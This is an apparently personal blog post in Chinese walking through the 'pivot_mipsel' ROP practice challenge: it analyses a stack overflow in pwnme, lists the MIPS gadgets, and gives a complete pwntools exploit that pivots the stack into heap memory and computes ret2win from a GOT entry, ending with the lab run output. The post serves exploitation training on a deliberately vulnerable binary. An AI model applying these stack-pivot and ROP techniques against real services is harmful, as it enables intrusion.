OneShell

I fight for a brighter tomorrow

0%

pivot_mipsel

如下是存在溢出的pwnme函数,反汇编可以看到返回地址保存在sp+0x3c,缓冲区起始地址在sp+0x18。第一个read函数是写入到a1指针,是一个堆内存;第二个read是真正的控制溢出,但是只能写入0x28个字节,也就是说,最多只能控制到sp+0x40,也就是覆盖到返回地址再多4个字节。空间不够用,无法直接在栈上布置ROP链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall pwnme(void *a1)
{
char v2[32]; // [sp+18h] [+18h] BYREF

memset(v2, 0, sizeof(v2));
puts("Call ret2win() from libpivot");
printf("The Old Gods kindly bestow upon you a place to pivot: %p\n", a1);// 这个地方用来布置新栈
puts("Send a ROP chain now and it will land there");
printf("> ");
read(0, a1, 0x100u); // 这是在堆上的内存
puts("Thank you!\n");
puts("Now please send your stack smash");
printf("> ");
read(0, v2, 0x28u); // 只有0x28个大小的缓冲区
return puts("Thank you!");
}

在libpivot_mipsel.so中有ret2win函数,但是在pivot_mipsel中无法直接调用,因此就没有办法使用ret2win的手法。

此时再看这个题目内置的gadgets:

  • 00400CA0:可控制t0寄存器的值
  • 00400CB0:可控制t1和t2两个寄存器的值,然后将t2中的值指向的内存值赋值给t1
  • 00400CC4:t0+t1->t9,然后跳转到t9执行
  • 00400CD0:将fp寄存器中的值赋值给sp寄存器,开辟栈帧
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    .text:00400CA0 usefulGadgets:                           
    .text:00400CA0 lw $t9, 8($sp). # load_offset
    .text:00400CA4 lw $t0, 4($sp)
    .text:00400CA8 jalr $t9
    .text:00400CAC addiu $sp, 0xC
    .text:00400CAC
    .text:00400CB0 lw $t9, 8($sp) # read_got
    .text:00400CB4 lw $t2, 4($sp)
    .text:00400CB8 lw $t1, 0($t2)
    .text:00400CBC jalr $t9
    .text:00400CC0 addiu $sp, 0xC
    .text:00400CC0
    .text:00400CC4 add $t9, $t0, $t1. # add_jump
    .text:00400CC8 jalr $t9
    .text:00400CCC addiu $sp, 4
    .text:00400CCC
    .text:00400CD0 move $sp, $fp # stack_pivot
    .text:00400CD4 lw $ra, 8($sp)
    .text:00400CD8 lw $fp, 4($sp)
    .text:00400CDC jr $ra
    .text:00400CE0 addiu $sp, 0xC

再看看pwnme函数在执行完毕恢复栈帧时的反汇编代码:缓冲区溢出实际上可以控制ra寄存器(sp+0x3c)和fp寄存器(sp+0x38)。

1
2
3
4
5
6
.text:00400C44                 move    $sp, $fp         
.text:00400C48 lw $ra, 0x38+var_s4($sp)
.text:00400C4C lw $fp, 0x38+var_s0($sp)
.text:00400C50 addiu $sp, 0x40
.text:00400C54 jr $ra
.text:00400C58 nop

回顾一下:对动态加载函数的调用会跳转到PLT,函数的第一次调用会使用库函数的实际地址填充到GOT表中。后续调用函数的时候就会直接跳转到GOT表中的库函数实际地址运行。如果知道某一个库函数的实际加载地址,并且知道加载函数和要调用的目标函数的偏移量,就可以计算出来目标函数的实际地址。

那么利用的思路就清晰起来了:

  1. 在pwnme函数中使用缓冲区溢出控制fp寄存器(开辟新栈)和ra寄存器(劫持控制流)
  2. 调用stack_pivot开辟新的栈帧到堆内存空间,堆内存空间地址可以通过打印信息获取
  3. 通过plt调用一次foothold_function,这样got表就被填充了
  4. 读取got表中的值,通过foothold_function和ret2win函数的偏移,计算并跳转到ret2win执行

利用

在pwnme函数缓冲区溢出,劫持控制流到stack_pivot。此时还可以顺便控制了fp寄存器,用于stack_pivot开辟栈帧到堆内存空间中。

1
2
3
rop = b"A" * 0x20   # 
rop += pivot_addr # 控制fp寄存器
rop += stack_pivot # 控制ra寄存器

到了堆内存空间,此时新的栈就已经布局完成。load_offset一共要使用两次,原本的作用是从栈中恢复ret2win函数与foothold函数的偏移到t0寄存器。第一次调用就纯粹是起到通过plt首次调用foothold函数,使得其地址可以加载到got表中。

1
2
rop1 = b"A" * 8 
rop1 += p32(load_offset) # 下一个ra

通过plt调用foothold函数。

1
2
3
rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(foothold_plt)

当从plt执行完foothold返回后,会自动跳转到0x00400CB0,读取got表中保存的foothold函数地址到t1寄存器。下一个rop就是再次执行load_offset函数,因为第一次执行load_offset加载到t0的偏移,因为t0在其他地方被使用过,清零了。

1
2
3
rop1 += b"A" * 4
rop1 += p32(foothold_got)
rop1 += p32(load_offset)

通过add_jump,ret2win函数地址 = foothold函数地址 + 二者的偏移。

1
2
3
rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(add_jump)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
BINARY = "./pivot_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

stack_pivot = 0x00400CD0
load_offset = 0x00400CA0
read_got = 0x00400CB0
add_jump = 0x00400CC4

foothold_plt = 0x400e60
foothold_got = 0x412060

ret2win_offset = 0x378

p = remote("10.0.0.2", 9999)
pivot_addr = p.recvuntil(b"\nSend a ROP chain now and it will land there").split(b"pivot: ")[-1].split(b"\nSend")[0]
# log.info(pivot_addr)
pivot_addr = int(pivot_addr, 16)

rop1 = b"A" * 8
rop1 += p32(load_offset) # 下一个ra

rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(foothold_plt)

rop1 += b"A" * 4
rop1 += p32(foothold_got)
rop1 += p32(load_offset)

rop1 += b"A" * 4
rop1 += p32(ret2win_offset)
rop1 += p32(add_jump)

p.recvuntil(b"> ")
p.sendline(rop1)

rop2 = b"A" * 0x20
rop2 += p32(pivot_addr)
rop2 += p32(stack_pivot)
p.recvuntil(b"> ")
p.sendline(rop2)

print(p.recvline_contains(b"ROPE"))

执行结果如下:

1
2
3
4
5
6
7
8
9
10
[*] '/home/utest/rop_practice/mipsel/pivot_mipsel/pivot_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999